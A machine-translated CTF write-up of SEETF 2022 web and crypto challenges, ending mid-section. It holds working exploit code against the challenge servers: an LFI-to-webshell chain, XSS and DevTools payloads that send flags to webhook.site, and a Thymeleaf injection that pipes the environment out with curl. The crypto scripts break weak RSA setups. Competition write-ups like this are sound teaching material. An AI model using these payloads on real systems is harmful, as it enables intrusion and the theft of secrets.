SEETF 2022 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
Solo as usual, I solved some crypto and web challenges as part of the peko team, and we ended up in seventh place.
Web
Sourceless Guessy Web
Testing revealed an LFI, and the first flag was found in ../../../etc/passwd
.
For the RCE part, I initially tried using php filter, but it failed, likely due to a prepend path causing the method to fail.
However, the challenge hinted at /phpinfo.php#:~:text=register_argc_argv
, which reminded me of the pearcmd method.
So, I set up a php server to serve a webshell download, then used pearcmd to download it and then LFI to access it.
<?php
header('Content-Disposition: attachment; filename="shellpeko.php"');
echo <<<EOF
<?php
system(\$_GET[0]);
?>
EOF;
// http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../usr/local/lib/php/pearcmd.php&+install+-r+/tmp+http://???????.ngrok.io/
// http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../tmp/pear/download/shellpeko.php&0=/readflag
// SEE{l0l_s0urc3_w0uldn't_h4v3_h3lp3d_th1s_1s_d3fault_PHP_d0cker}
Super Secure Requests Forwarder
from flask import Flask, request, render_template
import os
import advocate
import requests
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# Prevent SSRF
try:
advocate.get(url)
except:
return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/flag')
def flag():
if request.remote_addr == '127.0.0.1':
return render_template('flag.html', FLAG=os.environ.get("FLAG"))
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, threaded=True)
It uses a third-party module to check SSRF, and the goal is to bypass it to SSRF to http://localhost/flag
.
My solution was to use DNS rebinding, like http://a.142.251.42.228.1time.127.0.0.1.1times.repeat.miko.rebind.network/flag
to get the flag.
However, the intended solution was to set up a server that redirects to a safe site first, then redirects to the flag.
Flag Portal 1/2
This challenge was actually broken. The intended solution was request smuggling, but due to a misconfiguration in the apache traffic server, simply repeating /
bypassed the restriction:
curl --path-as-is 'http://flagportal.chall.seetf.sg:10001//admin' -G --data-urlencode 'backend=http://webhook.site/06eae124-3374-4350-bf71-a84da04149b2'
curl --path-as-is 'http://flagportal.chall.seetf.sg:10001/api//flag-plz' -H 'Admin-Key: spendable-snoring-character-ditzy-sepia-lazily' -F 'target=http://webhook.site/06eae124-3374-4350-bf71-a84da04149b2'
SEE{n0w_g0_s0lv3_th3_n3xt_p4rt_bf38678e8a1749802b381aa0d36889e8}
SEE{y4y_r3qu3st_smuggl1ng_1s_fun_e28557a604fb011a89546a7fdb743fe9}
For the real revenge version, see the author's writeup.
Username Generator
An XSS challenge:
const generate = (length) => {
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < length; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
return result;
}
const queryString = window.location.search;
const parameters = new URLSearchParams(queryString);
const usernameLength = parameters.get('length');
// Generate a random username and display it
if (usernameLength === null) {
var name = "loading...";
window.location.href = "/?length=10";
}
else if (usernameLength.length > 0) {
var name = generate(+usernameLength);
}
document.getElementById('generatedUsername').innerHTML = `Your generated username is: ${name}`;
When usernameLength.length === 0
, it skips the if statement and assigns innerHTML
. At this point, name
is window.name
, so setting window.name
in another page and then redirecting to it allows for XSS.
<script>
js = `fetch("/flag").then(r=>r.text()).then(flag=>(new Image).src=${JSON.stringify(location.href)}+"?"+flag)`
window.name = `<img src=1 onerror='${js}'>`
location = 'http://app/?length='
</script>
SEE{x55_15_my_m1ddl3_n4m3_00d21e74f830352781874d57dff7e384}
The Pigeon Files
Another frontend challenge, the main code is:
const noteForm = document.getElementById("note");
const output = document.getElementById("output");
const uuidv4 = () => {
return ([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g, c =>
(c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
);
}
noteForm.onsubmit = (e) => {
e.preventDefault();
window.localStorage.setItem("note", new FormData(noteForm).get("note"));
const uuid = uuidv4();
window.localStorage.setItem("uuid", uuid);
Swal.fire(
'Viva La Resistance',
`Here's your personal token: ${uuid}. You will need this to retrieve your note.`,
'success'
)
};
const search = (request) => {
const uuid = window.localStorage.getItem("uuid");
const note = window.localStorage.getItem("note");
if (!uuid || !note) {
Swal.fire(
'Not found',
'You need to submit a note first.',
'error'
)
return null;
}
if (note.startsWith(request.search)) {
request.result = note;
}
else {
request.result = null;
}
if (request.token === uuid) {
request.accessGranted = true;
}
return request;
};
// Search for notes
if (location.search) {
// MooTools awesome query string parsing
request = String.parseQueryString(location.search.slice(1));
request = search(request);
if (request) {
if (!request.accessGranted) {
output.textContent = "Access denied.";
}
else if (!request.result) {
output.textContent = "Note not found.";
}
else {
output.textContent = request.result;
setTimeout(() => {window.location.search = ""}, 5000);
}
}
}
The admin bot's localStorage.note
contains the flag and waits 120 seconds after visiting, indicating an xsleaks attack.
When accessGranted
and a match to the flag occur, it navigates after 5 seconds; otherwise, it doesn't, providing an xsleaks oracle.
The intended solution uses String.parseQueryString
for prototype pollution to set accessGranted
, but simply using ?accessGranted=1
works because the object returned by search
and the input object are the same.
Using this method, counting iframe onload events allows xsleaks to search for the flag:
<script>
const base = 'http://app/'
// const base = 'http://localhost:8764/'
const charset = 'abcdefghijklmnopqrstuvwxyz0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~_}'
const log = (...args) => {
fetch('/log_' + String(args[0]), {
method: 'POST',
body: JSON.stringify(args, null, 2)
})
}
function go(flag) {
const div = document.createElement('div')
document.body.appendChild(div)
for (const c of charset) {
const search = flag + c
const url = base + '?accessGranted=1&search=' + encodeURIComponent(search)
const ifr = document.createElement('iframe')
let cnt = 0
ifr.onload = () => {
cnt += 1
if (cnt === 2) {
log('found', search)
div.remove()
go(search)
}
}
ifr.src = url
div.appendChild(ifr)
}
}
window.onload = () => go('SEE{w4k3_up_5h33pl3_1t')
</script>
SEE{w4k3_up_5h33pl3_1t's_obv10us}
The author's writeup uses a similar concept but with history.length
for detection.
Star Cereal Episode 3: The Revenge of the Breakfast
The goal is to access the backend http://app/login.php
to read the flag, but there are many obstacles.
nginx.conf
:
load_module /usr/lib/nginx/modules/ngx_http_subs_filter_module.so;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
sendfile on;
server {
listen 80;
root /var/www/html;
index index.html;
location / {
try_files $uri @prerender;
}
location ~ \.php$ {
try_files /dev/null @prerender;
}
location @prerender {
proxy_set_header X-Real-IP $remote_addr;
# Do or do not, there is no flag.
proxy_set_header Accept-Encoding "";
subs_filter_types text/html text/css text/xml;
subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;
# https://gist.github.com/thoop/8165802
set $prerender 0;
if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
set $prerender 1;
}
if ($args ~ "_escaped_fragment_") {
set $prerender 1;
}
if ($http_user_agent ~ "Prerender") {
set $prerender 0;
}
if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
set $prerender 0;
}
resolver 8.8.8.8;
if ($prerender = 1) {
rewrite .* /$scheme://$host$request_uri? break;
proxy_pass http://prerender:3000;
}
if ($prerender = 0) {
proxy_pass http://app:80;
}
}
}
}
It proxies traffic to app
, but login.php
checks the IP, preventing direct flag access:
<?php
error_reporting(0);
session_start();
if (!in_array($_SERVER['HTTP_X_REAL_IP'], ['127.0.0.1', gethostbyname('proxy'), gethostname('prerender')]))
{
header('HTTP/1.0 403 Forbidden');
die('<h1>Forbidden</h1><p>Only admins allowed to login.</p>');
}
?>
<!DOCTYPE html>
<html lang="en">
<body>
<div>
<p> Welcome back, admin! <p>
<p> Here's your cereal. </p>
<img src="images/cereal.jpg" alt="Cereal" width="200" height="200">
<p> And your flag: <?php echo getenv("FLAG"); ?> </p>
</div>
</body>
</html>
Using prerender to bypass it, another issue arises with subs_filter "SEE{.*}" "SEE{NO_FLAG_FOR_YOU_MUAHAHAHA}" ir;
. Attempts to use the Range header failed.
Examining prerender's server.js
:
'use strict';
const { match } = require('assert');
const prerender = require('prerender');
const prMemoryCache = require('prerender-memory-cache');
const url = require('url');
const server = prerender({
chromeFlags: ['--no-sandbox', '--headless', '--disable-gpu', '--remote-debugging-port=9222', '--hide-scrollbars', '--disable-dev-shm-usage'],
forwardHeaders: true,
chromeLocation: '/usr/bin/chromium-browser'
});
const memCache = Number(process.env.MEMORY_CACHE) || 0;
if (memCache === 1) {
server.use(prMemoryCache);
}
server.use(prerender.blacklist());
server.use(prerender.httpHeaders());
// Hacker, you are?
// Get flag, you do not.
const validateUrls = (req, res, next) => {
let matches = url.parse(req.prerender.url).href.match(/^(http:\/\/|https:\/\/)app/gi)
if (!matches) {
return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA validate');
}
next();
}
// Adapted from https://github.com/prerender/prerender/blob/master/lib/plugins/removeScriptTags.js
// except return a 403 instead of replacing the script tag
const noScriptsPlease = (req, res, next) => {
if (!req.prerender.content || req.prerender.renderType != 'html') {
return next();
}
var matches = req.prerender.content.toString().match(/<script(?:.*?)>(?:[\S\s]*?)<\/script>/gi);
if (matches)
return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA script');
matches = req.prerender.content.toString().match(/<link[^>]+?rel="import"[^>]*?>/i);
if (matches)
return res.send(403, 'NO_FLAG_FOR_YOU_MUAHAHAHA link');
next();
}
server.use({
requestReceived: validateUrls,
pageLoaded: noScriptsPlease
});
server.start();
It only checks if the URL starts with app
, so using a domain starting with app
or app@???.com
bypasses it, allowing prerender to SSRF.
Testing shows it executes JS (using puppeteer) and follows redirects, so executing JS to get the flag is possible.
My unintended solution involved observing --remote-debugging-port=9222
, indicating a chance to exploit the Chromium DevTools Protocol. Redirecting to http://localhost:9222/json/new?http://app/login.php
opens a new tab and provides the debug websocket URL.
Rendering another page to execute JS, the JS connects to the websocket and uses Runtime.evaluate
to execute JS, sending the flag back to my server, bypassing nginx's filter.
Initially, I used Cloudflare workers to get a URL starting with app
, so the script is also a Cloudflare workers script:
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request).catch(err => new Response(err.stack, { status: 500 })))
})
/**
* Many more examples available at:
* https://developers.cloudflare.com/workers/examples
* @param {Request} request
* @returns {Promise<Response>}
*/
async function handleRequest(request) {
const { pathname } = new URL(request.url)
if (pathname.startsWith('/redir')) {
return new Response(
`
// http://prerender:3000/render?url=http://app-8763.maple3142.workers.dev/
<img src=1 onerror="location='http://localhost:9222/json/new?http://app/login.php'">
`,
{
headers: { 'Content-Type': 'text/html' }
}
)
}
return new Response(
`
<img src=1 onerror="
window.ws = new WebSocket('ws://localhost:9222/devtools/page/9FD8E30356B8D13E7819AE2B05B18E7F')
ws.onerror = (e=>{document.writeln('error: '+e+Object.keys(e))})
ws.onmessage = (e=>{
document.writeln('<p>'+e.data+'</p>');
})
ws.onopen = ()=>{
ws.send(JSON.stringify({
id:1,
method: 'Runtime.evaluate',
params:{
expression: \`fetch('https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2?flag', {method:'POST', body:document.body.innerHTML})\`
}
}))
}
">
`,
{
headers: { 'Content-Type': 'text/html' }
}
)
}
// curl -H 'User-Agent: googlebot' 'http://starcereal.chall.seetf.sg:10004/redir' -H 'Host: app-8763.maple3142.workers.dev' -v
// curl -H 'User-Agent: googlebot' 'http://starcereal.chall.seetf.sg:10004/xxxx' -H 'Host: app-8763.maple3142.workers.dev' -v
// SEE{1_c4n't_b3li3v3_1_k33p_g3tt1ng_h4cked!}
This is clearly unintended; the intended solution is in the author's writeup, using prerender's localhost:3000
origin to bypass the Same Origin Policy.
The challenge was inspired by ACSC 2021 - Favorite Emojis, which I also solved using URL parser manipulation.
Log4Security
A Java Spring website, the main HomepageController.java
is:
package com.seetf.log4security;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import org.apache.commons.codec.binary.Hex;
import com.seetf.log4security.model.UserPreferences;
@Controller
public class HomepageController {
@Autowired private UserPreferences userPreferences;
@GetMapping("/")
public ModelAndView index(ModelMap model) {
return new ModelAndView("redirect:/home", model);
}
@GetMapping("/home")
public String home(@RequestHeader("User-Agent") String userAgent, Model model) {
if (userPreferences.getLogging()) {
userPreferences.getLogger().info("Visited by " + userAgent);
}
model.addAttribute("name", userPreferences.getName());
model.addAttribute("location", userPreferences.getLocation());
return "home";
}
@GetMapping("/logs")
public String auth(Model model) {
return "auth";
}
@PostMapping("/logs")
public String logs(@RequestParam("token") String token, Model model) {
MessageDigest digestStorage;
try {
digestStorage = MessageDigest.getInstance("SHA-1");
digestStorage.update(System.getenv("SUPER_SECRET").getBytes("ascii"));
}
catch (Exception e) {
model.addAttribute("logs", "Error getting secret token, please contact CTF admins.");
return "logs";
}
if (userPreferences.getLogging()) {
userPreferences.getLogger().info("Logging in with token " + token);
// Log login attempt
String correctToken = new String(Hex.encodeHex(digestStorage.digest()));
userPreferences.getLogger().info("Login attempt with token " + token + "=" + correctToken);
}
// Invalid token
if (!token.equals(new String(Hex.encodeHex(digestStorage.digest())))) {
model.addAttribute("logs", "Invalid token");
return "logs";
}
if (userPreferences.getLogging()) {
try {
String filename = "/tmp/" + userPreferences.getUuid() + "/access.log";
Path filePath = Paths.get(filename);
model.addAttribute("logs", Files.readString(filePath, StandardCharsets.US_ASCII));
}
catch (Exception e) {
System.out.println("Error reading log file: " + e.getMessage());
model.addAttribute("logs", "Error reading logs");
}
}
else {
model.addAttribute("logs", "Logging is disabled");
}
return "logs";
}
@PostMapping("/api/preferences")
@ResponseBody
public String preferences(@RequestBody UserPreferences preferences) {
try {
userPreferences.setName(preferences.getName());
userPreferences.setLocation(preferences.getLocation());
userPreferences.setLogging(preferences.getLogging());
return "OK";
} catch (Exception e) {
return "ERROR";
}
}
}
First, bypass /logs
login check. The double digest()
calls reminded me of ALLES! CTF 2021 - J(ust)-S(erving)-P(ages). The bypass method is the same, exploiting digest()
resetting internal state, as documented in the official docs:
Completes the hash computation by performing final operations such as padding. The digest is reset after this call is made.
Enabling logging and using the empty SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
bypasses it.
Next, for RCE, examine logs.html
template:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Log4Security</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<link th:href="@{/css/main.css}" rel="stylesheet">
<script defer src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script defer src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script defer src="https://cdnjs.cloudflare.com/ajax/libs/mootools-more/1.6.0/mootools-more-compressed.js"></script>
</head>
<body>
<div class="container my-5">
<h1>Account Logs</h1>
<p>Back to <a href="/home">home</a>.</p>
<p th:each="line : ${#strings.arraySplit('__${logs}__', T(org.apache.commons.lang3.StringUtils).LF)}">
<span th:text="${line}"></span>
</p>
</div>
</body>
</html>
It's using the Thymeleaf template engine, and __
is unusual. Searching thymeleaf double underscore
reveals articles like Exploiting SSTI in Thymeleaf. __...__
is expression preprocessing, e.g., #{selection.__${sel.code}__}
first executes ${sel.code}
, then #{selection.ALL}
if the output is ALL
.
This logic resembles eval, so if the output contains }
, SSTI is possible.
For '__${logs}__'
, '+...+'
can inject template directives, e.g., '+T(java.lang.Runtime).getRuntime().exec('id')+'
executes commands.
Due to Runtime#exec
's quirks, use tools like RUNTIME.EXEC PAYLOAD GENERATER to escape and extract the flag.
Setting logging:
fetch("http://log4security.chall.seetf.sg:1337/api/preferences", {
"headers": {
"accept": "*/*",
"accept-language": "zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-CN;q=0.5",
"cache-control": "no-cache",
"content-type": "application/json",
"pragma": "no-cache"
},
"referrer": "http://log4security.chall.seetf.sg:1337/home",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": JSON.stringify({name:"peko",location:"miko house",logging:true}),
"method": "POST",
"mode": "cors",
"credentials": "include"
});
Inject SSTI payload via User-Agent
:
# https://ares-x.com/tools/runtime-exec/
curl -H 'Cookie: JSESSIONID=D8ACC846B5570CE0254DD880DEF8DCF2' http://log4security.chall.seetf.sg:1337/home -H $'User-Agent: \'+T(java.lang.Runtime).getRuntime().exec(\'bash -c {echo,ZW52IHwgY3VybCB3ZWJob29rLnNpdGUvMDZlYWUxMjQtMzM3NC00MzUwLWJmNzEtYTg0ZGEwNDE0OWIyIC1YIFBPU1QgLWQgQC0=}|{base64,-d}|{bash,-i}\')+\''
# base64 encoded payload:
# env | curl webhook.site/06eae124-3374-4350-bf71-a84da04149b2 -X POST -d @-
Using token da39a3ee5e6b4b0d3255bfef95601890afd80709
to browse /logs
reveals the flag.
Charlotte's Web
Another client-side web challenge, the server is simple, only checking if the user is admin and if TOKEN
is correct, with CORS enabled:
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
import os
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {'admin': os.environ.get('SECRET')}
@auth.verify_password
def verify_password(username, password):
if username in users and password == users.get(username):
return username
@app.route('/')
@auth.login_required
def index():
if request.headers.get("TOKEN") == os.environ.get("TOKEN"):
return os.environ.get("FLAG")
return "Flag is only available through our Chrome extension."
@app.after_request
def add_header(response):
response.headers['Access-Control-Allow-Origin'] = request.headers.get("Origin")
response.headers['Access-Control-Allow-Headers'] = 'Token, Authorization'
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
The main target is a custom Chrome extension, with the manifest:
{
"name": "Vulnerable Extension",
"description": "SEETF 2022 - Charlotte's Web",
"version": "1.0",
"manifest_version": 3,
"background": {
"service_worker": "background.js",
"type": "module"
},
"content_scripts": [
{
"js": ["content.js"],
"run_at": "document_idle",
"matches": ["<all_urls>"]
}
],
"action": {
"default_popup": "popup.html"
},
"permissions": ["storage", "tabs", "scripting"],
"host_permissions": ["<all_urls>"],
"web_accessible_resources": [
{
"resources": ["assets/js/*.js", "assets/fonts/opendyslexic/*"],
"matches": ["<all_urls>"]
}
]
}
The challenge description states:
We made a Chrome extension to improve web accessibility. But Google keeps saying that we have "broad host permissions" so we can't list it on the web store?
This suggests exploiting the extension's content.js
running on all pages. content.js
reads JSON from the page and sends load-pageSettings
to the background:
const pageSettingsElement = document.getElementById('page-settings');
if (pageSettingsElement) {
let pageSettings = JSON.parse(pageSettingsElement.innerText);
chrome.runtime.sendMessage(
{
message: "load-pageSettings",
pageSettings: pageSettings,
}
);
pageSettingsElement.remove();
}
The background.js
looks like this:
import * as utils from './assets/js/utils.js';
const getCurrentTab = async () => {
let queryOptions = { active: true, currentWindow: true };
let [tab] = await chrome.tabs.query(queryOptions);
return tab;
}
const changeFontSize = () => {
getCurrentTab().then((tab) => {
chrome.scripting.executeScript({
target: { tabId: tab.id },
files: [
"./assets/js/resetFontSize.js",
"./assets/js/setFontSize.js",
],
});
});
};
const changeFont = () => {
getCurrentTab().then((tab) => {
chrome.scripting.executeScript({
target: { tabId: tab.id },
files: [
"./assets/js/setFont.js",
],
});
});
}
const applyPageSettings = (newSettings) => {
chrome.storage.local.get(null, (result) => {
let settings = utils.merge(result, newSettings);
// Validate fonts
let valid = false;
for (let i = 0; i <= utils.FONTS.length; i++) {
if (settings.font === utils.FONTS[i]) {
valid = true;
break;
}
}
if (!valid) {
console.log("Validation failed.")
return;
}
chrome.storage.local.set(settings, () => {
if (settings.font)
changeFont();
if (settings.fontSize)
changeFontSize();
console.log('Applied settings.');
});
});
}
chrome.runtime.onMessage.addListener(
(request, sender, sendResponse) => {
if (request.message === "load-fontSize") {
changeFontSize();
sendResponse({ success: true });
}
else if (request.message === "load-fontChange") {
changeFont();
sendResponse({ success: true });
}
else if (request.message === "load-pageSettings") {
applyPageSettings(request.pageSettings);
sendResponse({ success: true });
}
}
);
The parsed object is passed to utils.merge
, indicating a prototype pollution vulnerability. Examining utils.js
:
export const mapElement = (element, callback) => {
for (let i = 0; i < element.children.length; i += 1) {
mapElement(element.children[i], callback);
}
callback(element);
};
export const FONTS = [
"Default",
"Verdana",
"Tahoma",
"Georgia",
"Andika",
"Helvetica",
"Arial",
"Trebuuchet MS",
"Times New Roman",
"Courier New"
]
export const isObject = (obj) => {
return typeof obj === 'function' || typeof obj === 'object';
}
export const merge = (target, source) => {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
export const setStyle = (elem, propertyObject) => {
for (var property in propertyObject)
elem.style[property] = propertyObject[property];
}
There's a clear prototype pollution, but which property to pollute? The font validation loop uses i <= utils.FONTS.length
, an off-by-one error, allowing access to utils.FONTS[10]
.
Polluting Object.prototype[10] === settings.font
bypasses font validation.
The font is stored in storage and later used in changeFont
, executing another content script setFont.js
:
(async () => {
const src = chrome.runtime.getURL('assets/js/utils.js');
const utils = await import(src);
const setFont = async (font) => {
if (!utils.FONTS.includes(font)) {
// Special fonts, such as OpenDyslexic, are not supported by default.
if (!font.includes('://')) {
foo = await import(chrome.runtime.getURL(`assets/js/${font}.js`));
foo.bar();
}
else {
// Load external fonts.
const customStyle = JSON.parse(document.getElementById('page-style').innerText);
utils.setStyle(document.body, utils.merge({fontFamily: 'custom'}, customStyle));
document.getElementById('page-style').remove();
fetch(font, {
method: 'GET',
headers: {
'TOKEN': "REDACTED"
}
}).then(response => response.text()).then(text => {
const style = document.createElement("style");
style.textContent = text;
document.head.appendChild(style);
});
}
}
else if (font === 'Default') {
// Reset font to original
window.location.reload();
}
else {
// Change font
utils.mapElement(document.querySelector('body'), (element) => {
element.style.fontFamily = font;
});
}
}
chrome.storage.local.get('font', async (result) => {
await setFont(result.font);
console.log('Changed font.');
});
})();
Setting font
to a non-utils.FONTS
value enters the upper branch. It's unclear whether it uses import
or fetch
.
Assuming import
, check if any extension script allows LFI-like behavior. popup.js
might cause XSS, but font === '../../popup.js'
violates the manifest's web_accessible_resources
restriction, failing.
In the fetch
branch, it uses TOKEN
to access any URL, with another prototype pollution in the content script environment. Setting a server URL retrieves TOKEN
, but accessing the flag requires HTTP basic auth.
With CORS and Access-Control-Allow-Credentials: true
, the bot can fetch the flag from my page with TOKEN
and credentials: 'include'
, revealing the flag:
<div id="page-settings">{
"__proto__": {
"10": "https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2"
},
"font": "https://webhook.site/06eae124-3374-4350-bf71-a84da04149b2"
}</div>
<div id="page-style">{}</div>
<script>
window.onload = ()=>{
fetch('http://app/', {
headers: {
TOKEN: 'promptly-mushroom-chastise'
},
credentials: 'include'
}).then(r=>r.text()).then(flag=>(new Image).src=location.href+'?flag='+flag)
}
</script>
SEE{1_l0v3_chr0m3_3xt3ns10n5_ca6eca1ad886e25437554b9b70d71a8a}
The page-style
prototype pollution seems unused, indicating a partially unintended solution.
The author's writeup shows the intended solution, polluting credentials: include
to request http://app/
and extracting the flag from the style tag. I didn't realize prototype pollution affects browser APIs.
Crypto
Close Enough
A standard RSA challenge, but , so use Fermat factorization.
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
key = RSA.import_key(open("key").read())
c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017
def fermat(x, mx):
a = floor(sqrt(x))
b2 = a * a - x
cnt = 0
while True:
if is_square(b2):
b = floor(sqrt(b2))
return a + b, a - b
a += 1
cnt += 1
if cnt == mx:
return
b2 = a * a - x
p, q = fermat(key.n, 1000)
print(p, q)
d = inverse_mod(key.e, (p - 1) * (q - 1))
m = power_mod(c, d, key.n)
print(long_to_bytes(m))
# SEE{i_love_really_secure_algorithms_b5c0b187fe309af0f4d35982fd961d7e}
Lost Modulus
from Crypto.Util.number import getPrime, long_to_bytes, bytes_to_long
with open("flag.txt", "rb") as f:
FLAG = f.read()
n = bytes_to_long(FLAG)
#make sure i have a big modulus
while n.bit_length() < 2048:
n *= n
def encrypt(m1, m2):
e = getPrime(256)
assert m1.bit_length() >= 1600 and long_to_bytes(m1).startswith(b"SEE{"), 'first message must be at least 1600 bits and begin with "SEE{"'
assert 500 <= m2.bit_length() <= 600, 'second message must be within 500 to 600 bits'
return pow(m1, e, n), pow(m2, e, n)
def main():
try:
m1 = int(input("Message 1 (as integer) : ").strip())
m2 = int(input("Message 2 (as integer) : ").strip())
c1, c2 = encrypt(m1, m2)
print(f"\nCiphers: \n{[c1,c2]}")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
The goal is to use gcd to find , requiring and to be related. For the given size, works.
However, must start with SEE{
, so I chose a random SEE{
starting , found , then updated . The 4-byte SEE{
is unaffected by floor truncation.
Connect multiple times to gcd out , then brute-force the exponent.
from pwn import *
from Crypto.Util.number import *
import os
import gmpy2
import ast
def gen():
m1 = bytes_to_long(b"SEE{" + os.urandom(1700 // 8 - 4))
m2 = int(gmpy2.iroot(m1, 3)[0])
m1 = m2**3
io = remote("fun.chall.seetf.sg", 30004)
io.sendlineafter(b"Message 1 (as integer) : ", str(m1).encode())
io.sendlineafter(b"Message 2 (as integer) : ", str(m2).encode())
io.recvuntil(b"Ciphers: \n")
c1, c2 = ast.literal_eval(io.recvlineS().strip())
return c2**3 - c1
x = gcd(gcd(gen(), gen()), gen())
for i in range(2, 10):
r, exact = gmpy2.iroot(x, i)
if exact:
print(i, long_to_bytes(r))
# SEE{common_moduli_with_common_exponents_daf4ede8dda5c}
UniveRSAlity
import math, json
from secrets import token_urlsafe
from Crypto.Util.number import isPrime, bytes_to_long, long_to_bytes
def main():
try:
# create token
token = token_urlsafe(8)
js = json.dumps({'token': token})
# select primes
print(f'Welcome to the RSA testing service. Your token is "{token}".')
print('Please give me 128-bit primes p and q:')
p = int(input('p='))
assert isPrime(p) and p.bit_length() == 128, 'p must be a 128-bit prime'
assert str(float(math.pi)) in str(float(p)), 'p does not look like a certain universal constant'
q = int(input('q='))
assert isPrime(q) and q.bit_length() == 128, 'q must be a 128-bit prime'
assert str(float(math.e)) in str(float(q)), 'q does not look like a certain universal constant'
# encode
print('We will use e=65537 because it is good practice.')
e = 65537
m = bytes_to_long(js.encode())
c = pow(m, e, p * q)
# decode
print('Now what should the corresponding value of d be?')
d = int(input('d='))
m = pow(c, d, p * q)
# interpret as json
js = json.loads(long_to_bytes(m).decode())
assert js['token'] == token, 'Invalid token!'
print('RSA test passed!')
if 'flag' in js:
from secret import flag
print(flag)
except Exception as e:
print(e)
if __name__ == '__main__':
main()
First, convert to floats containing and for and , using brute force.
Next, find such that , where is the original JSON and is the modified JSON (with an added flag
key).
Ensure is 256 bits, so the JSON must be compact to fit 32 bytes.
Finding involves solving a DLP, so ensure and are smooth during brute force, then solve the DLP to get the flag.
from pwn import *
from Crypto.Util.number import *
from sage.all import GF, crt, factor
import json
context.log_level = "debug"
def nextPrime(x):
x += 1
while not isPrime(x):
x += 1
return x
def smoothEnough(x):
fs = factor(x)
return all([p < 2**40 for p, _ in fs])
def findSmooth(x):
p = nextPrime(x)
while not smoothEnough(p - 1):
p = nextPrime(p)
return p
io = remote("fun.chall.seetf.sg", 30002)
io.recvuntil(b'token is "')
token = io.recvuntilS(b'"')[:-1]
print(token)
js = json.dumps({"token": token})
js2 = json.dumps({"token": token, "flag": 1})
p = findSmooth(314159265358979300000000000000000000000)
q = findSmooth(271828182845904500000000000000000000000)
while True:
print(float(p), float(q))
g = pow(bytes_to_long(js.encode()), 65537, p * q)
y = bytes_to_long(js2.replace(" ", "").encode()) % (p * q)
try:
dp = GF(p)(y).log(g)
dq = GF(q)(y).log(g)
d = int(crt([int(dp), int(dq)], [p - 1, q - 1]))
except Exception as ex:
print(ex)
p = findSmooth(p)
q = findSmooth(q)
continue
break
print(p, q, d)
io.sendlineafter(b"p=", str(p).encode())
io.sendlineafter(b"q=", str(q).encode())
io.sendlineafter(b"d=", str(d).encode())
io.interactive()
# SEE{pohlig-hellman_easy_as_pie_db01d3f24beda43e}
The True ECC
This challenge involves Diffie-Hellman on an elliptic curve over , requiring the shared secret to decrypt the flag.
The group law addition is defined as:
